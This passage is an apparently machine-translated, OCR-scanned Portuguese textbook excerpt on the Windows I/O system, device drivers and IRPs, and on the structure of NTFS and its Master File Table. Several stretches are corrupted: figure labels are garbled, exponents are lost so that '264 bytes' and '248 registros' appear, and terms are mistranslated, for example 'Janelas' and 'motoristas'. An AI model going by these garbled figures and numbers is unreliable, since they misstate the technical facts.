eles são necessários, como o reconhecedor de sistema de arquivos que analisa um volume bruto e 
decifra que tipo de formato de sistema de arquivos ele contém. 

Um recurso interessante do Windows é o suporte para discos dinâmicos. Esses 
os discos podem abranger diversas partições e até vários discos e podem ser reconfigurados dinamicamente, 
sem precisar reinicializar. Desta forma, os volumes lógicos não são 
não está mais restrito a uma única partição ou mesmo a um único disco, de modo que um único arquivo 
o sistema pode abranger várias unidades de forma transparente. Esta propriedade acabou por 
ser difícil de suportar para software, uma vez que um disco normalmente contém múltiplas partições e, 
portanto, múltiplos volumes, mas com discos dinâmicos, um volume pode abranger vários discos e os discos 
subjacentes também são individualmente visíveis para o software, 
potencialmente causando confusão. 

A partir do Windows 10, os discos dinâmicos foram efetivamente substituídos por espaços de 
armazenamento, um novo recurso que fornece virtualização de hardware de armazenamento físico. 
Com espaços de armazenamento, um usuário pode criar discos virtuais apoiados por potencialmente diferentes 
mídia de disco subjacente, chamada pool de armazenamento. A questão é que esses 
discos são apresentados ao sistema como sendo objetos reais de dispositivos de disco (em oposição a 
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volumes virtuais apresentados por discos dinâmicos). Esta propriedade torna os espaços de 
armazenamento muito mais simples de trabalhar. 

Desde a sua introdução, vários recursos foram adicionados aos espaços de armazenamento 
além dos discos virtuais. Um recurso interessante é chamado de provisionamento dinâmico. 
Isso se refere à capacidade de criar um disco virtual maior que o tamanho total do pool de 
armazenamento subjacente. O armazenamento físico real só é alocado conforme o disco virtual 
é usado. Se o espaço disponível no pool de armazenamento começar a ficar baixo, o 
administrador será alertado e discos adicionais poderão ser adicionados ao pool, momento em 
que os espaços de armazenamento redistribuirão automaticamente os blocos alocados entre 
os novos discos. 

A E/S para volumes pode ser filtrada por um driver especial do Windows para produzir 
cópias de sombra de volume. O driver de filtro cria um instantâneo do volume que pode ser 
montado separadamente e representa um volume em um momento anterior. Ele faz isso 
acompanhando as alterações após o ponto do instantâneo. Isso é muito conveniente para 
recuperar arquivos que foram excluídos acidentalmente ou viajar no tempo para ver o estado 
de um arquivo em instantâneos periódicos feitos no passado. 

Mas as cópias de sombra também são valiosas para fazer backups precisos de sistemas 
de servidores. O sistema operacional trabalha com aplicativos de servidor para que eles 
cheguem a um ponto conveniente para fazer um backup limpo de seu estado persistente no volume. 
Quando todos os aplicativos estiverem prontos, o sistema inicializa o instantâneo do volume e 
informa aos aplicativos que eles podem continuar. O backup é feito do estado do volume no 
ponto da captura instantânea. E os aplicativos foram bloqueados apenas por um curto período 
de tempo, em vez de terem que ficar off-line durante o backup. 


Os aplicativos participam do processo de snapshot, portanto o backup reflete um estado 
que é fácil de recuperar caso haja uma falha futura. Caso contrário, o backup ainda poderá ser 
útil, mas o estado capturado seria mais parecido com o estado se o sistema tivesse travado. A 
recuperação de um erro de sistema no momento de uma falha pode ser mais difícil ou até 
impossível, uma vez que as falhas ocorrem em momentos arbitrários na execução do aplicativo. 
A Lei de Murphy diz que é mais provável que os travamentos ocorram no pior momento possível, 
ou seja, quando os dados do aplicativo estão em um estado onde a recuperação é impossível. 


Outro aspecto do Windows é o suporte para E/S assíncrona. É possível que um thread 
inicie uma operação de E/S e depois continue executando em paralelo com a E/S. Esse recurso 
é especialmente importante em servidores. Existem várias maneiras pelas quais o thread pode 
descobrir que a E/S foi concluída. Uma é especificar um objeto de evento no momento em que 
a chamada é feita e, eventualmente, aguardá-lo. Outra é especificar uma fila na qual um evento 
de conclusão será postado pelo sistema quando a E/S for concluída. Uma terceira é fornecer 
um procedimento de retorno de chamada que o sistema chama quando a E/S for concluída. 
Uma quarta é pesquisar um local na memória que o gerenciador de E/S atualiza quando a E/S 
é concluída. 

O aspecto final que mencionaremos é a E/S priorizada. A prioridade de E/S é determinada 
pela prioridade do thread emissor ou pode ser definida explicitamente. Há 
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cinco prioridades especificadas: crítica, alta, normal, baixa e muito baixa. Crítico é reservado ao 
gerenciador de memória para evitar conflitos que poderiam ocorrer quando o sistema sofre 
extrema pressão de memória. Prioridades baixas e muito baixas são usadas por processos em 
segundo plano, como o serviço de desfragmentação de disco e scanners de spyware e pesquisa 
na área de trabalho, que tentam evitar interferir nas operações normais do sistema. A maioria das 
E/S tem prioridade normal, mas os aplicativos multimídia podem marcar sua E/S como alta para 
evitar falhas. As aplicações multimídia podem alternativamente usar a reserva de largura de 
banda para solicitar largura de banda garantida para acessar arquivos de tempo crítico, como 
música ou vídeo. O sistema de E/S fornecerá à aplicação o tamanho de transferência ideal e o 
número de operações de E/S pendentes que devem ser mantidas para permitir que o sistema de 
E/S atinja a garantia de largura de banda solicitada. 


11.7.2 Chamadas de API de entrada/saída 


As APIs de chamada de sistema fornecidas pelo gerenciador de E/S não são muito diferentes 
daquelas oferecidas pela maioria dos outros sistemas operacionais. As operações básicas são abrir, 
ler, escrever, ioctl e fechar, mas também existem operações plug-and-play e de energia, operações 
para definir parâmetros, bem como chamadas para liberar buffers do sistema e assim por diante. Na 
camada Win32, essas APIs são encapsuladas por interfaces que fornecem operações de alto nível 
específicas para dispositivos específicos. Na parte inferior, porém, esses wrappers abrem dispositivos 
e executam esses tipos básicos de operações. Até mesmo algumas operações de metadados, como 
renomeação de arquivos, são implementadas sem chamadas de sistema específicas. Eles apenas 
usam uma versão especial das operações do ioctl . Isso fará mais sentido quando explicarmos a 
implementação de pilhas de dispositivos de E/S e o uso de IRPs pelo gerenciador de E/S. 


As chamadas de sistema de E/S nativas do NT, de acordo com a filosofia geral do Windows, 
utilizam vários parâmetros e incluem muitas variações. A Figura 11.40 lista as interfaces primárias 
de chamada de sistema para o gerenciador de E/S. NtCreateFile é usado para abrir arquivos 
novos ou existentes. Ele fornece descritores de segurança para novos arquivos, uma descrição 
detalhada dos direitos de acesso solicitados e dá ao criador de novos arquivos algum controle 
sobre como os blocos serão alocados. NtReadFile e NtWr iteFile usam um identificador, buffer e 
comprimento de arquivo. Eles também usam um deslocamento de arquivo explícito e permitem 
que uma chave seja especificada para acessar intervalos bloqueados de bytes no arquivo. A 
maioria dos parâmetros está relacionada à especificação de qual dos diferentes métodos usar 
para relatar a conclusão da E/S (possivelmente assíncrona), conforme descrito anteriormente. 


NtQuer yDirector yFile é um exemplo de paradigma padrão no executivo onde existem várias 
APIs de consulta para acessar ou modificar informações sobre tipos específicos de objetos. Nesse 
caso, são objetos de arquivo que se referem a diretórios. Um parâmetro especifica que tipo de 
informação está sendo solicitada, como uma lista de nomes no diretório ou informações detalhadas 
sobre cada arquivo necessário para uma listagem estendida de diretórios. Como esta é realmente 
uma operação de E/S, todas as formas padrão de relatar que a E/S foi concluída são suportadas. 
NtQuer yVolumelnformationFile é 
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Chamada do sistema de E/S Descrição 
NtCreateFile Abra arquivos ou dispositivos novos ou existentes 
NtReadFile Ler de um arquivo ou dispositivo 
NtWr iteFile Escreva em um arquivo ou dispositivo 
NiQuer yDirector yFile Solicitar informações sobre um diretório, incluindo arquivos 


NiQuer yVolumelnformationFile Solicita informações sobre um volume 


NtSetVolumelnformationFile Modificar informações de volume 

NiNotifyChangeDirector yFile Termina quando qualquer arquivo no diretório ou subárvore é modificado 
NiQuer yInformationFile Solicitar informações sobre um arquivo 

NtSetlnformationFile Modificar informações do arquivo 


Arquivo NtLock Bloquear um intervalo de bytes em um arquivo 


NtUnlockFile Remover um bloqueio de intervalo 

ArquivoNtFsControl Operações diversas em um arquivo 

Arquivo NtFlushBuffers Liberar buffers de arquivo na memória para o disco 
NtCancelloFile Cancelar operações de E/S pendentes em um arquivo 
NtDeviceloControlFile Operações especiais em um dispositivo 


Figura 11-40. Chamadas de API nativa do NT para realizar E/S. 


como a operação de consulta de diretório, mas espera um identificador de arquivo que representa um 
volume aberto que pode ou não conter um sistema de arquivos. Ao contrário dos diretórios, 
existem parâmetros que podem ser modificados nos volumes e, portanto, há um separado 
API NtSetVolumelnformationFile. 

NtNotifyChangeDirector yFile é um exemplo de um paradigma interessante do NT. 
Threads podem fazer E/S para determinar se alguma alteração ocorre nos objetos (principalmente 
diretórios do sistema de arquivos, como neste caso, ou chaves de registro). Como a E/S é assíncrona, o 
thread retorna e continua, e só é notificado posteriormente quando algo é modificado. A solicitação pendente 
é enfileirada no sistema de arquivos como uma operação de E/S pendente usando um pacote de solicitação 
de E/S. As notificações são problemáticas se você 
deseja remover um volume do sistema de arquivos do sistema, porque as operações de E/S 
Estão pendentes. Portanto, o Windows oferece suporte a recursos para cancelar operações de E/S pendentes, 
incluindo suporte no sistema de arquivos para desmontagem forçada de um volume com E/S pendente. 


NtQuer yInformationFile é a versão específica do arquivo da chamada de sistema para 


diretórios. Ele possui uma chamada de sistema complementar, NtSetlnformationFile. Essas interfaces 
acessar e modificar todos os tipos de informações sobre nomes de arquivos, recursos de arquivos como 


criptografia, compactação e dispersão e outros atributos e detalhes do arquivo, 
incluindo procurar o ID do arquivo interno ou atribuir um nome binário exclusivo (objeto 
id) para um arquivo. 
Essas chamadas de sistema são essencialmente uma forma de ioctl específica para arquivos. A 
operação set pode ser usada para renomear ou excluir um arquivo. Mas observe que eles pegam alças, não arquivam 
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nomes, portanto, um arquivo primeiro deve ser aberto antes de ser renomeado ou excluído. Eles podem 
também pode ser usado para renomear os fluxos de dados alternativos em NTFS (ver Seção 11.8). 

Existem APIs separadas, NtLockFile e NtUnlockFile, para definir e remover bloqueios de intervalo de bytes 
em arquivos. NtCreateFile permite que o acesso a um arquivo inteiro seja restrito por 
usando um modo de compartilhamento. Uma alternativa são essas APIs de bloqueio, que aplicam obrigatoriamente 
restrições de acesso a um intervalo de bytes no arquivo. Leituras e gravações devem fornecer um 
chave correspondente à chave fornecida ao NtLockFile para operar no bloqueado 
gamas. 

Existem recursos semelhantes no UNIX, mas é discricionário se os aplicativos atendem aos bloqueios de 
intervalo. NtFsControlFile é muito parecido com a consulta anterior e 
Define operações, mas é uma operação mais genérica destinada a lidar com operações específicas de arquivos 
que não cabem em outras APIs. Por exemplo, algumas operações são específicas de um sistema de arquivos 
específico. 

Finalmente, existem chamadas diversas, como NtFlushBuffersFile. Como o 
Chamada de sincronização UNIX , ela força os dados do sistema de arquivos a serem gravados de volta no disco. 
NiCance IloFile cancela solicitações de E/S pendentes para um arquivo específico e NtDeviceloCon trolFile 
implementa operações ioctl para dispositivos. A lista de operações é na verdade 
muito mais tempo. Existem chamadas de sistema para excluir arquivos por nome e para consultar 
os atributos de um arquivo específico - mas estes são apenas wrappers em torno dos outros I/O 
operações de gerenciamento que listamos e que realmente não precisavam ser implementadas como 
chamadas de sistema separadas. Existem também chamadas de sistema para lidar com a conclusão de E/S 
ports, um recurso de enfileiramento no Windows que ajuda servidores multithread a fazer 
uso eficiente de operações de E/S assíncronas, preparando threads por demanda e 


reduzindo o número de trocas de contexto necessárias para atender E/S em 
tópicos. 


11.7.3 Implementação de E/S 


O sistema de E/S do Windows consiste nos serviços plug-and-play, no dispositivo 
gerenciador de energia, o gerenciador de E/S e o modelo de driver de dispositivo. Plug and play 
detecta alterações na configuração de hardware e constrói ou desmonta o dispositivo 
pilhas para cada dispositivo, além de causar o carregamento e descarregamento de drivers de dispositivos. O 
gerenciador de energia do dispositivo ajusta o estado de energia dos dispositivos de E/S para reduzir 
consumo de energia do sistema quando os dispositivos não estão em uso. O gerenciador de E/S fornece 
suporte para manipulação de objetos de kernel de E/S e operações baseadas em IRP como 
loCallDr ivers e loCompleteRequest. Mas a maior parte do trabalho necessário para apoiar 
A E/S do Windows é implementada pelos próprios drivers de dispositivo. 


Drivers de dispositivos 


Para garantir que os drivers de dispositivo funcionem bem com o restante do Windows, a Micro soft definiu 
o WDM (Windows Driver Model) com o qual os drivers de dispositivo devem estar em conformidade. O WDK 
(Windows Driver Kit) contém exemplos e 
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documentação para ajudar os desenvolvedores a produzir drivers em conformidade com o WDM. 
A maioria dos drivers do Windows começa como cópias de um driver de amostra apropriado do WDK, 
que é então modificado pelo gravador do driver. 

A Microsoft também fornece um verificador de driver que valida muitas das ações dos drivers 
para garantir que estejam em conformidade com os requisitos WDM para a estrutura e os protocolos 
para solicitações de E/S, gerenciamento de memória e assim por diante. O verificador vem com o 
sistema e os administradores podem controlá-lo executando verifier.exe, que permite configurar quais 
drivers devem ser verificados e quão extensas (ou seja, caras) as verificações devem ser. 


Mesmo com todo o suporte para desenvolvimento e verificação de drivers, ainda é muito difícil 
escrever até mesmo drivers simples no Windows, então a Microsoft construiu um sistema de wrappers 
chamado WDF (Windows Driver Foundation) que roda em cima do WDM e simplifica muitos dos 
requisitos mais comuns, principalmente relacionados à interação correta com o gerenciamento de 
energia do dispositivo e operações plug-and-play. 

Para simplificar ainda mais a escrita de drivers, bem como aumentar a robustez do sistema, o 
WDF inclui o UMDF (User-Mode Driver Framework) para escrever drivers como serviços que são 
executados em processos. E existe o KMDF (Kernel-Mode Driver Framework) para escrever drivers 
como serviços que são executados no kernel, mas com muitos dos detalhes do WDM tornados 
automáticos. Como por baixo está o WDM que fornece o modelo do driver, é nisso que nos 
concentraremos nesta seção. 

Os dispositivos no Windows são representados por objetos de dispositivo. Os objetos de dispositivo 
também são usados para representar hardware, como barramentos, bem como abstrações de software, 
como sistemas de arquivos, mecanismos de protocolo de rede e extensões de kernel, como drivers de 
filtro antivírus. Tudo isso é organizado produzindo o que o Windows chama de pilha de dispositivos, 
como mostrado anteriormente na Figura 11.14. 

As operações de E/S são iniciadas pelo gerenciador de E/S chamando uma API executiva loCallDr 
iver com ponteiros para o objeto de dispositivo superior e para o IRP que representa a solicitação de E/ 
S. Esta rotina encontra o objeto driver associado ao objeto dispositivo. 

Os tipos de operação especificados no IRP geralmente correspondem às chamadas de sistema do gerenciador 
de E/S descritas anteriormente, como criar, ler e fechar. 

A Figura 11.41 mostra os relacionamentos para um único nível da pilha de dispositivos. Para cada 
uma destas operações, um driver deve especificar um ponto de entrada. loCallDr iver retira o tipo de 
operação do IRP, usa o objeto de dispositivo no nível atual da pilha de dispositivos para localizar o 
objeto de driver e indexa na tabela de expedição do driver com o tipo de operação para localizar o ponto 
de entrada correspondente no driver. O driver é então chamado e passado ao objeto de dispositivo e ao 
IRP. 

Depois que um driver terminar de processar a solicitação representada pelo IRP, ele terá três 
opções. Ele pode chamar loCallDr iver novamente, passando o IRP e o próximo objeto de dispositivo na 
pilha de dispositivos. Ele pode declarar que a solicitação de E/S foi concluída e retornar ao chamador. 
Ou pode enfileirar o IRP internamente e retornar ao chamador, tendo declarado que a solicitação de E/ 
S ainda está pendente. Este último caso resulta em uma operação de E/S assíncrona, pelo menos se 
todos os drivers acima na pilha concordarem e também retornarem aos seus chamadores. 
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Objeto de dispositivo Driver de dispositivo carregado 


Objeto de driver 


Dados da instância 


Código do motorista 


Objeto de driver 


Tabela de despacho 


res VAR 
E / 


Próximo objeto de dispositivo) 


Figura 11-41. Um único nível em uma pilha de dispositivos. 


Pacotes de solicitação de E/S 


A Figura 11.42 mostra os principais campos do IRP. A parte inferior do IRP é uma matriz de tamanho 
dinâmico contendo campos que podem ser usados por cada driver para a pilha de dispositivos que manipula a 
solicitação. Esses campos de pilha também permitem que um driver especifique a rotina a ser chamada ao concluir 
uma solicitação de E/S. Durante a conclusão, cada nível da pilha de dispositivos é visitado na ordem inversa e a 
rotina de conclusão atribuída por cada driver é chamada por sua vez. Em cada nível, o driver pode continuar a 
completar a solicitação ou decidir que ainda há mais trabalho a fazer e deixar a solicitação pendente, suspendendo 
temporariamente a conclusão da E/S. 


Ao alocar um IRP, o gerenciador de E/S precisa saber a profundidade específica da pilha em um campo em 
cada objeto de dispositivo à medida que a pilha de dispositivos é formada. 
Observe que não há uma definição formal de qual será o próximo objeto de dispositivo em qualquer pilha. Essas 
informações são mantidas em estruturas de dados privadas pertencentes ao driver anterior na pilha. Na verdade, 
a pilha não precisa ser realmente uma pilha. Em qualquer camada, um driver está livre para alocar novos IRPs, 
continuar a usar o IRP original, enviar uma operação de E/S para uma pilha de dispositivos diferente ou até mesmo 
alternar para um thread de trabalho do sistema para continuar a execução. 


O IRP contém sinalizadores, um código de operação para indexação na tabela de despacho do driver, 
ponteiros de buffer para possivelmente buffers de kernel e de usuário e uma lista de MDLs (listas de descritores 
de memória) que são usadas para descrever as páginas físicas representadas pelos buffers, isto é, para 
operações DMA. Existem campos utilizados para operações de cancelamento e conclusão. Os campos no IRP 
usados para enfileirar o IRP nos dispositivos enquanto ele está sendo processado são reutilizados quando a 
operação de E/S for finalmente concluída para fornecer memória para o objeto de controle APC usado para 
chamar a rotina de conclusão do gerenciador de E/S no contexto do tópico original. Há também um campo de link 
usado para vincular todos os IRPs pendentes ao thread inicial. 
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Endereço do buffer do kernel 


Bandeiras 


Endereço de buffer do usuário 


Código de operação 


Ponteiros de buffer 


Cabeçalho da lista de descrição de memória 


MDL (EFE si Próximo IRP 
MDL Elo da cadeia IRP do Thread 
Fio Informações de conclusão/cancelamento 
Motorista 
Conclusão E 
Bloco APC Eae 


comunicação. 


Figura 11-42. Os principais campos de um pacote de solicitação de E/S. 


Pilhas de dispositivos 


Um driver no Windows pode fazer todo o trabalho sozinho, ou os drivers também podem estar empilhados, o que 
significa que uma solicitação pode passar por uma sequência de drivers, cada um fazendo parte do trabalho. Dois drivers 
empilhados também são ilustrados na Figura 11.43. 

Um uso comum para drivers empilhados é separar o gerenciamento do barramento do trabalho funcional de controle 
do dispositivo. O gerenciamento de barramento no barramento PCI é bastante complicado devido a muitos tipos de modos 
e transações de barramento. Ao separar este trabalho da parte específica do dispositivo, os criadores de drivers ficam 
livres de aprender como controlar o barramento. Eles podem simplesmente usar o driver de barramento padrão em sua 
pilha. Da mesma forma, os drivers USB e SCSI possuem uma parte específica do dispositivo e uma parte genérica, sendo 


os drivers comuns fornecidos pelo Windows para a parte genérica. 


Outro uso dos drivers de empilhamento é poder inserir drivers de filtro na pilha. Já vimos o uso de drivers de filtro 
do sistema de arquivos, que são inseridos acima do sistema de arquivos. Drivers de filtro também são usados para 
gerenciar hardware físico. Um driver de filtro executa alguma transformação nas operações à medida que o IRP flui para 
baixo na pilha de dispositivos, bem como durante a operação de conclusão com o IRP fluindo de volta através das rotinas 
de conclusão que cada driver especificou. Por exemplo, um driver de filtro pode compactar dados no caminho para o disco 
ou criptografar dados no caminho para a rede. Colocar o filtro aqui significa que nem o programa aplicativo nem o 
verdadeiro driver do dispositivo precisam estar cientes disso, e ele funciona automaticamente para todos os dados que 


vão para (ou vêm) do dispositivo. 


Drivers de dispositivo no modo kernel são um problema sério para a confiabilidade e estabilidade do Windows. A 


maioria das falhas do kernel no Windows são causadas por bugs no dispositivo 
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Processo do usuário 


Do utilizador 


programa 


Resto das janelas 


Motorista 
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Camada de abstração de hardware 


Figura 11-43. O Windows permite que os drivers sejam empilhados para funcionar com uma instância 
específica de um dispositivo. O empilhamento é representado por objetos de dispositivo. 


motoristas. Como todos os drivers de dispositivo no modo kernel compartilham o mesmo espaço de endereço com 
Nas camadas kernel e executiva, erros nos drivers podem corromper as estruturas de dados do sistema ou, pior, 
criar vulnerabilidades de segurança. Alguns desses bugs são devidos ao 
um número surpreendentemente grande de drivers de dispositivos que existem para Windows, ou para o 
desenvolvimento de drivers por programadores de sistema menos experientes. Os erros são 
também devido à enorme quantidade de detalhes envolvidos na escrita de um driver correto para 
Janelas. 

O modelo de E/S é poderoso e flexível, mas toda E/S é fundamentalmente assíncrona, de modo que as 
condições de corrida podem ser abundantes. O Windows 2000 adicionou o plug-and-play e 
recursos de gerenciamento de energia de dispositivos dos sistemas Win9x para Windows baseados em NT pela 
primeira vez. Isso impôs um grande número de exigências aos motoristas para lidar 
corretamente com dispositivos indo e vindo enquanto os pacotes de E/S estão no meio de 
sendo processado. Os usuários de PCs frequentemente encaixam/desencaixam dispositivos, fecham a tampa e 
jogue cadernos em pastas e geralmente não se preocupe se o 
uma pequena luz verde de atividade ainda está acesa. Escrevendo drivers de dispositivos que funcionam 
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corretamente neste ambiente pode ser muito desafiador, e é por isso que o WDF foi desenvolvido para 
simplificar o modelo de driver do Windows. 

Muitos livros estão disponíveis sobre o Windows Driver Model e a mais recente Windows Driver 
Foundation (Orwick e Smith, 2007; Viscarola et al., 2007; Kanetkar, 2008; Vostokov, 2009; Reeves, 2010; e 
Yosifovich, 2019). 


11.8 O SISTEMA DE ARQUIVOS WINDOWS NT 


O Windows oferece suporte a vários sistemas de arquivos, sendo os mais importantes FAT-16, FAT-32, 
NTFS (NT File System) e ReFS (Resilient File System). 
FAT significa Tabela de acesso a arquivos. FAT -16 é o antigo sistema de arquivos do MS-DOS. Ele usa 
endereços de disco de 16 bits, o que o limita a partições de disco com tamanho não superior a 2 GB. Foi 
usado principalmente para disquetes. FAT -32 usa endereços de disco de 32 bits e suporta partições de disco 
de até 2 TB. Não há segurança no FAT -32 e hoje ele é realmente usado apenas para mídias transportáveis, 
como pen drives. NTFS é o sistema de arquivos desenvolvido especificamente para a versão NT do Windows. 
A partir do Windows XP, ele se tornou o sistema de arquivos padrão instalado pela maioria dos fabricantes de 
computadores, melhorando bastante a segurança e a funcionalidade do Windows. O NTFS usa endereços de 
disco de 64 bits e pode (teoricamente) suportar partições de disco de até 264 bytes, embora outras 


considerações o limitem a tamanhos menores. 


ReFS é o sistema de arquivos mais novo deste grupo e inicialmente fornecido com o Windows Server 
2012 R2, que coincide com o Windows 8.1. É chamado de Sistema de Arquivos Resiliente porque um de seus 
objetivos de design é ser auto-recuperável. O ReFS pode verificar e reparar automaticamente sem tempo de 
inatividade. Isso é conseguido mantendo a integridade dos metadados para suas estruturas em disco, bem 
como para os dados do usuário. É um sistema de arquivos sem substituição, o que significa que os 
metadados no disco nunca são atualizados no local; em vez disso, o novo é escrito em outro lugar e a versão 
antiga é marcada como excluída. 

Quando combinado com espaços de armazenamento, o ReFS suporta o conceito de hierarquização de dados 
do usuário e metadados do sistema de arquivos, o que significa que ele pode manter dados “quentes” em 
discos mais rápidos e mover dados “frios” para discos mais lentos automaticamente. Como o ReFS ainda não 
é usado como sistema de arquivos padrão do Windows, não o estudaremos em detalhes. 

Neste capítulo, examinaremos o sistema de arquivos NTFS porque é o sistema de arquivos padrão do 
Windows e moderno, com muitos recursos interessantes e inovações de design. É grande e complexo e as 
limitações de espaço impedem-nos de cobrir todas as suas características, mas o material apresentado abaixo 


deve dar uma impressão razoável dele. 


11.8.1 Conceitos Fundamentais 


Os nomes de arquivos individuais em NTFS são limitados a 255 caracteres; caminhos completos são 
limitados a 32.767 caracteres. Os nomes dos arquivos estão em Unicode, permitindo que pessoas em países 
que não usam o alfabeto latino (por exemplo, Grécia, Japão, Índia, Rússia e Israel) escrevam 
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nomes de arquivos em seu idioma nativo. Por exemplo, é um nome de arquivo perfeitamente legal. 

O NTFS oferece suporte total a nomes que diferenciam maiúsculas de minúsculas (portanto, foo é diferente de Foo e FOO). 
A API Win32 não oferece suporte total à distinção entre maiúsculas e minúsculas para nomes de arquivos e de forma alguma 
para nomes de diretórios. O suporte para distinção entre maiúsculas e minúsculas existe ao executar o 
Subsistema POSIX para manter a compatibilidade com UNIX. Win32 não é 

diferencia maiúsculas de minúsculas, mas preserva maiúsculas de minúsculas, portanto, os nomes dos arquivos podem ter letras maiúsculas diferentes 
neles. Embora a distinção entre maiúsculas e minúsculas seja um recurso muito familiar aos usuários do UNIX, 

é bastante inconveniente para usuários comuns que normalmente não fazem tais distinções. Por exemplo, a 
Internet hoje não diferencia maiúsculas de minúsculas. 

Um arquivo NTFS não é apenas uma sequência linear de bytes, como arquivos FAT -32 e UNIX 
são. Em vez disso, um arquivo consiste em vários atributos, cada um representado por um fluxo de 
bytes. A maioria dos arquivos possui alguns fluxos curtos, como o nome do arquivo e sua 
ID do objeto de 64 bits, mais um fluxo longo (sem nome) com os dados. No entanto, um arquivo 
também pode ter dois ou mais fluxos de dados (longos). Cada fluxo tem um nome 
consistindo no nome do arquivo, dois pontos e o nome do fluxo, como em foo:stream1. Cada 
stream tem seu próprio tamanho e pode ser bloqueado independentemente de todos os outros streams. O 
A ideia de vários fluxos em um arquivo não é nova no NTFS. O sistema de arquivos no Apple 
O Macintosh usava dois fluxos por arquivo, a bifurcação de dados e a bifurcação de recursos. O primeiro 
o uso de vários fluxos para NTFS era permitir que um servidor de arquivos NT atendesse clientes Macin tosh. 
Vários fluxos de dados também são usados para representar metadados sobre arquivos, 
como as imagens em miniatura de imagens JPEG que estão disponíveis no Windows 
GUI. Mas, infelizmente, os múltiplos fluxos de dados são frágeis e frequentemente caem dos arquivos 
quando eles são transportados para outros sistemas de arquivos, transportados pela rede ou 
mesmo quando copiados em backup e posteriormente restaurados, porque muitos utilitários os ignoram. 

NTFS é um sistema de arquivos hierárquico, semelhante ao sistema de arquivos UNIX. O separador entre 
os nomes dos componentes é " \", porém, em vez de "/", um antigo fóssil herdado dos requisitos de 
compatibilidade com o CP/M quando o MS-DOS foi criado (o CP/M usava o barra para bandeiras). Ao contrário 
do UNIX, o conceito de diretório de trabalho atual, links físicos para o diretório atual (.) e o diretório pai (..) são 


implementados como convenções e não como uma parte fundamental do sistema de arquivos. 

Links físicos e links simbólicos são suportados para NTFS. Criação de simbólico 
links normalmente são restritos aos administradores para evitar problemas de segurança como falsificação, 
como o UNIX experimentou quando os links simbólicos foram introduzidos pela primeira vez no 4.2BSD. O 
a implementação de links simbólicos usa um recurso NTFS chamado pontos de nova análise (discutido 
posteriormente nesta seção). Além disso, compressão, criptografia, tolerância a falhas, 
registro no diário e arquivos esparsos também são suportados. Esses recursos e suas implementações serão 
discutidos em breve. 


11.8.2 Implementação do Sistema de Arquivos NT 


NTFS é um sistema de arquivos altamente complexo e sofisticado que foi desenvolvido 
especificamente para NT como uma alternativa ao sistema de arquivos HPFS que foi desenvolvido para OS/2. 
Embora a maior parte do NT tenha sido projetada em terra firme, o NTFS é único 
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entre os componentes do sistema operacional, grande parte de seu projeto original ocorreu a bordo de um veleiro em 
Puget Sound (seguindo um rígido protocolo de trabalho pela manhã, cerveja à tarde). A seguir, examinaremos vários 
recursos do NTFS, começando com sua estrutura e depois passando para a pesquisa de nome de arquivo, 


compactação de arquivo, registro em diário e criptografia de arquivo. 


Estrutura do sistema de arquivos 


Cada volume NTFS (por exemplo, partição de disco) contém arquivos, diretórios, bitmaps e outras estruturas de 
dados. Cada volume é organizado como uma sequência linear de blocos (clusters na terminologia da Microsoft), com 
o tamanho do bloco sendo fixo para cada volume e variando de 512 bytes a 64 KB, dependendo do tamanho do 
volume. A maioria dos discos NTFS usa blocos de 4 KB como um compromisso entre blocos grandes (para 
transferências eficientes) e blocos pequenos (para baixa fragmentação interna). Os blocos são referidos pelo seu 


deslocamento desde o início do volume usando números de 64 bits. 


A principal estrutura de dados em cada volume é a MFT (Master File Table), que é uma sequência linear de 
registros de tamanho fixo de 1 KB. Cada registro MFT descreve um arquivo ou diretório. Ele contém os atributos do 
arquivo, como nome e carimbos de data e hora, e a lista de endereços de disco onde seus blocos estão localizados. 
Se um arquivo for extremamente grande, às vezes é necessário usar dois ou mais registros MFT para conter a lista 
de todos os blocos; nesse caso, o primeiro registro MFT, chamado de registro base, aponta para os registros MFT 
adicionais . Esse esquema de overflow remonta ao CP/M, onde cada entrada de diretório era chamada de extensão. 


Um bitmap controla quais entradas MFT são gratuitas. 


O próprio MFT é um arquivo e, como tal, pode ser colocado em qualquer lugar do volume, eliminando assim o 
problema de setores defeituosos na primeira trilha. Além disso, o arquivo pode crescer conforme necessário, até um 
tamanho máximo de 248 registros. 

A MFT é mostrada na Figura 11.44. Cada registro MFT consiste em uma sequência de pares (cabeçalho de 
atributo, valor). Cada atributo começa com um cabeçalho informando qual atributo é esse e qual é o tamanho do valor. 
Alguns valores de atributos têm comprimento variável, como o nome do arquivo e os dados. Se o valor do atributo for 
curto o suficiente para caber no registro MFT, ele será colocado lá. Se for muito longo, ele será colocado em outro 
lugar do disco e um ponteiro para ele será colocado no registro MFT. Isso torna o NTFS muito eficiente para arquivos 


pequenos, ou seja, aqueles que cabem no próprio registro MFT. 


Os primeiros 16 registros MFT são reservados para arquivos de metadados NTFS, conforme ilustrado na Figura 
11.45. Cada registro descreve um arquivo normal que possui atributos e blocos de dados, assim como qualquer outro 
arquivo. Cada um desses arquivos tem um nome que começa com um cifrão para indicar que é um arquivo de 
metadados. O primeiro registro descreve o próprio arquivo MFT. Em particular, informa onde os blocos do arquivo 
MFT estão localizados para que o sistema possa encontrar o arquivo MFT. Claramente, o Windows precisa de uma 
maneira de encontrar o primeiro bloco do arquivo MFT para encontrar o restante das informações do sistema de 
arquivos. A forma como ele encontra o primeiro bloco do arquivo MFT é procurar no bloco de boot, onde seu endereço 


é instalado quando o volume é formatado com o sistema de arquivos. 
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pe 1KB — 


D 


Primeiro arquivo de usuário 


ATA 


29290 8a 


Extend Extensions: cotas, etc. 


Tabela de conversão de $Upcase Case 
Secure Descritores de segurança para todos os arquivos 
BadClus Lista de blocos ruins Arquivos de metadados 
Bota Carregador de inicialização 


S 


Bitmap Bitmap de blocos usados $ 
AttrDef Definições de atributos 


PO ra 


LogFile Arquivo de log para recuperação 
MftMirr Cópia espelhada do MFT 


Volume Arquivo de volume 


o 


Figura 11-44. A tabela de arquivos mestre NTFS. 


O registro 1 é uma duplicata da parte inicial do arquivo MFT. Esta informação é tão preciosa 
que ter uma segunda cópia pode ser fundamental caso um dos primeiros blocos da MFT se torne 
ilegível. O registro 2 é o arquivo de log. Quando alterações estruturais são feitas no sistema de 
arquivos, como adicionar um novo diretório ou remover um existente, a ação é registrada aqui 
antes de ser executada, para aumentar a chance de recuperação correta no caso de uma falha 
durante a operação, como uma falha do sistema. As alterações nos atributos do arquivo também 
são registradas aqui. Na verdade, as únicas alterações não registradas aqui são alterações nos 
dados do usuário. O registro 3 contém informações sobre o volume, como tamanho, rótulo e 
versão. 

Conforme mencionado acima, cada registro MFT contém uma sequência de pares (cabeçalho 
